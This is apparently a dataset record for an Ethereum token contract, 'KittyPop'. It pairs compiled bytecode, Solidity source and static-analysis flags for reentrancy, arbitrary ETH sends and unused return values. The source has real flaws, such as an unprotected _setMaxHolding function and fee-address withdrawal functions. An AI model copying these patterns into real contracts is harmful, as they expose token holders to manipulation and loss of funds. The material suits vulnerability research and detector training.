602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fa0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b60056008819055506014600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f60565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63602a836131a5565b9150612c6e826134cc565b604082019050919050565b6000612c866022836131a5565b9150612c918261351b565b604082019050919050565b6000612ca9601b836131a5565b9150612cb48261356a565b602082019050919050565b6000612ccc601d836131a5565b9150612cd782613593565b602082019050919050565b6000612cef6021836131a5565b9150612cfa826135bc565b604082019050919050565b6000612d126020836131a5565b9150612d1d8261360b565b602082019050919050565b6000612d356029836131a5565b9150612d4082613634565b604082019050919050565b6000612d586025836131a5565b9150612d6382613683565b604082019050919050565b6000612d7b6024836131a5565b9150612d86826136d2565b604082019050919050565b6000612d9e6017836131a5565b9150612da982613721565b602082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205537a9b5458363214395869e1e2d42a638a3954de63bf83cae67edfbed58988464736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,017 |
0x1bdaf408e897F9e3F4bE06bed802124Bc510D6Fd
|
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract KittyPop is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => User) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e8 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"KittyPop";
string private constant _symbol = unicode"KPOP";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 1;
uint256 private _teamFee = 9;
uint256 private _feeRate = 10;
uint256 private _feeMultiplier = 1000;
uint256 private _launchTime;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
uint256 private _maxBuyAmount;
address payable private _FeeAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private _cooldownEnabled = true;
bool private inSwap = false;
uint256 private buyLimitEnd;
uint private holdingCapPercent = 2;
struct User {
uint256 buy;
uint256 sell;
bool exists;
}
event MaxBuyAmountUpdated(uint _maxBuyAmount);
event CooldownEnabledUpdated(bool _cooldown);
event FeeMultiplierUpdated(uint _multiplier);
event FeeRateUpdated(uint _rate);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress) {
_FeeAddress = FeeAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner()) {
if(_cooldownEnabled) {
if(!cooldown[msg.sender].exists) {
cooldown[msg.sender] = User(0,0,true);
}
}
if (to != uniswapV2Pair && to != address(this))
require(balanceOf(to) + amount <= _getMaxHolding(), "Max holding cap breached.");
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(tradingOpen, "Trading not yet enabled.");
_teamFee = 9;
if(_cooldownEnabled) {
if(buyLimitEnd > block.timestamp) {
require(amount <= _maxBuyAmount);
require(cooldown[to].buy < block.timestamp, "Your buy cooldown has not expired.");
cooldown[to].buy = block.timestamp + (45 seconds);
}
}
if(_cooldownEnabled) {
cooldown[to].sell = block.timestamp + (9 seconds);
}
}
uint256 contractTokenBalance = balanceOf(address(this));
// sell
if(!inSwap && from != uniswapV2Pair && tradingOpen) {
_teamFee = 5;
if(_cooldownEnabled) {
require(cooldown[from].sell < block.timestamp, "Your sell cooldown has not expired.");
}
if(contractTokenBalance > 0) {
if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) {
contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100);
}
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount);
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function addLiquidity() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_maxBuyAmount = 300000 * 10**9;
_launchTime = block.timestamp;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() public onlyOwner {
tradingOpen = true;
buyLimitEnd = block.timestamp + (280 seconds);
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
// fallback in case contract is not releasing tokens fast enough
function setFeeRate(uint256 rate) external {
require(_msgSender() == _FeeAddress);
require(rate < 51, "Rate can't exceed 50%");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
_cooldownEnabled = onoff;
emit CooldownEnabledUpdated(_cooldownEnabled);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function cooldownEnabled() public view returns (bool) {
return _cooldownEnabled;
}
function timeToBuy(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].buy;
}
function timeToSell(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].sell;
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
function _getMaxHolding() internal view returns (uint256) {
return (totalSupply() * holdingCapPercent) / 100;
}
function _setMaxHolding(uint8 percent) external {
require(percent > 0, "Max holding cap cannot be less than 1");
holdingCapPercent = percent;
}
}
|
0x6080604052600436106101445760003560e01c806370a08231116100b6578063a9fc35a91161006f578063a9fc35a914610457578063c3c8cd8014610494578063c9567bf9146104ab578063db92dbb6146104c2578063dd62ed3e146104ed578063e8078d941461052a5761014b565b806370a0823114610345578063715018a6146103825780638da5cb5b1461039957806395d89b41146103c4578063a9059cbb146103ef578063a985ceef1461042c5761014b565b8063313ce56711610108578063313ce5671461024b57806345596e2e14610276578063522644df1461029f5780635932ead1146102c857806368a3a6a5146102f15780636fc3eaec1461032e5761014b565b806306fdde0314610150578063095ea7b31461017b57806318160ddd146101b857806323b872dd146101e357806327f3a72a146102205761014b565b3661014b57005b600080fd5b34801561015c57600080fd5b50610165610541565b6040516101729190613084565b60405180910390f35b34801561018757600080fd5b506101a2600480360381019061019d9190612b33565b61057e565b6040516101af9190613069565b60405180910390f35b3480156101c457600080fd5b506101cd61059c565b6040516101da91906132a6565b60405180910390f35b3480156101ef57600080fd5b5061020a60048036038101906102059190612ae4565b6105ac565b6040516102179190613069565b60405180910390f35b34801561022c57600080fd5b50610235610685565b60405161024291906132a6565b60405180910390f35b34801561025757600080fd5b50610260610695565b60405161026d919061331b565b60405180910390f35b34801561028257600080fd5b5061029d60048036038101906102989190612bc1565b61069e565b005b3480156102ab57600080fd5b506102c660048036038101906102c19190612c39565b610785565b005b3480156102d457600080fd5b506102ef60048036038101906102ea9190612b6f565b6107d8565b005b3480156102fd57600080fd5b5061031860048036038101906103139190612a56565b6108d0565b60405161032591906132a6565b60405180910390f35b34801561033a57600080fd5b50610343610927565b005b34801561035157600080fd5b5061036c60048036038101906103679190612a56565b610999565b60405161037991906132a6565b60405180910390f35b34801561038e57600080fd5b506103976109ea565b005b3480156103a557600080fd5b506103ae610b3d565b6040516103bb9190612f9b565b60405180910390f35b3480156103d057600080fd5b506103d9610b66565b6040516103e69190613084565b60405180910390f35b3480156103fb57600080fd5b5061041660048036038101906104119190612b33565b610ba3565b6040516104239190613069565b60405180910390f35b34801561043857600080fd5b50610441610bc1565b60405161044e9190613069565b60405180910390f35b34801561046357600080fd5b5061047e60048036038101906104799190612a56565b610bd8565b60405161048b91906132a6565b60405180910390f35b3480156104a057600080fd5b506104a9610c2f565b005b3480156104b757600080fd5b506104c0610ca9565b005b3480156104ce57600080fd5b506104d7610d6f565b6040516104e491906132a6565b60405180910390f35b3480156104f957600080fd5b50610514600480360381019061050f9190612aa8565b610da1565b60405161052191906132a6565b60405180910390f35b34801561053657600080fd5b5061053f610e28565b005b60606040518060400160405280600881526020017f4b69747479506f70000000000000000000000000000000000000000000000000815250905090565b600061059261058b611338565b8484611340565b6001905092915050565b600067016345785d8a0000905090565b60006105b984848461150b565b61067a846105c5611338565b61067585604051806060016040528060288152602001613a1260289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061062b611338565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e3c9092919063ffffffff16565b611340565b600190509392505050565b600061069030610999565b905090565b60006009905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106df611338565b73ffffffffffffffffffffffffffffffffffffffff16146106ff57600080fd5b60338110610742576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161073990613166565b60405180910390fd5b80600b819055507f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8600b5460405161077a91906132a6565b60405180910390a150565b60008160ff16116107cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c290613286565b60405180910390fd5b8060ff1660158190555050565b6107e0611338565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461086d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610864906131c6565b60405180910390fd5b80601360156101000a81548160ff0219169083151502179055507f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f28706601360159054906101000a900460ff166040516108c59190613069565b60405180910390a150565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015442610920919061346c565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610968611338565b73ffffffffffffffffffffffffffffffffffffffff161461098857600080fd5b600047905061099681611ea0565b50565b60006109e3600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f0c565b9050919050565b6109f2611338565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a76906131c6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f4b504f5000000000000000000000000000000000000000000000000000000000815250905090565b6000610bb7610bb0611338565b848461150b565b6001905092915050565b6000601360159054906101000a900460ff16905090565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015442610c28919061346c565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c70611338565b73ffffffffffffffffffffffffffffffffffffffff1614610c9057600080fd5b6000610c9b30610999565b9050610ca681611f7a565b50565b610cb1611338565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffff